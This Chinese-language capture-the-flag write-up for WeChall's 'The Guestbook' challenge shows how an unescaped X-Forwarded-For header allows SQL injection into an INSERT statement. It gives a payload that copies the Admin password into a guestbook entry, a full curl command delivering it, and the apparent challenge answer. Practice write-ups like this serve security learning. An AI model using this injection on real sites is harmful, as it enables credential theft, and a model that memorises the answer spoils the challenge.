WeChall - The Guestbook

Challenge

一个带源码的 guestbook 挑战。页面会把留言、session id、时间和访问者 IP 写入数据库;目标是找到 Admin 的密码。

关键点不在留言内容,而在 IP 来源:程序信任 X-Forwarded-For,并把它当作字符串直接拼进 INSERT

Solution

源码里的 IP 获取逻辑大致是:优先读取 $_SERVER['HTTP_X_FORWARDED_FOR'],否则才使用真实远端地址。随后写入 guestbook:

1
INSERT INTO gbook_book VALUES('$sessid', 0, $time, '$ip', '$message')

$message 会被正常处理,但 $ip 没有转义。因为 $ip 被包在单引号里,可以用 X-Forwarded-For 关闭当前字符串,再补齐后面的 VALUES 字段。

先构造一个不依赖盲注的 payload:把 Admin 密码查出来,直接写到 guestbook 的 message 字段里。

1
127.0.0.1', (SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'))#

代入后 SQL 变成:

1
2
3
4
5
6
7
INSERT INTO gbook_book VALUES(
'$sessid',
0,
$time,
'127.0.0.1',
(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'))#',
'$message')

# 注释掉原本剩下的 ', '$message'),于是子查询结果会作为留言内容落库。

实际提交时需要带登录 cookie,并先从页面取当前 CSRF token:

1
2
3
4
5
6
$ curl -s -b 'WC=...' \
-H "X-Forwarded-For: 127.0.0.1',(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'))#" \
--data-urlencode 'message=test' \
--data-urlencode 'sign=Sign Guestbook' \
--data-urlencode 'gwf3_csrf=TOKEN' \
'https://www.wechall.net/en/challenge/guestbook/index.php'

再刷新 guestbook,刚插入的记录会显示 Admin 密码。

TheBrownFoxAndTheLazyDog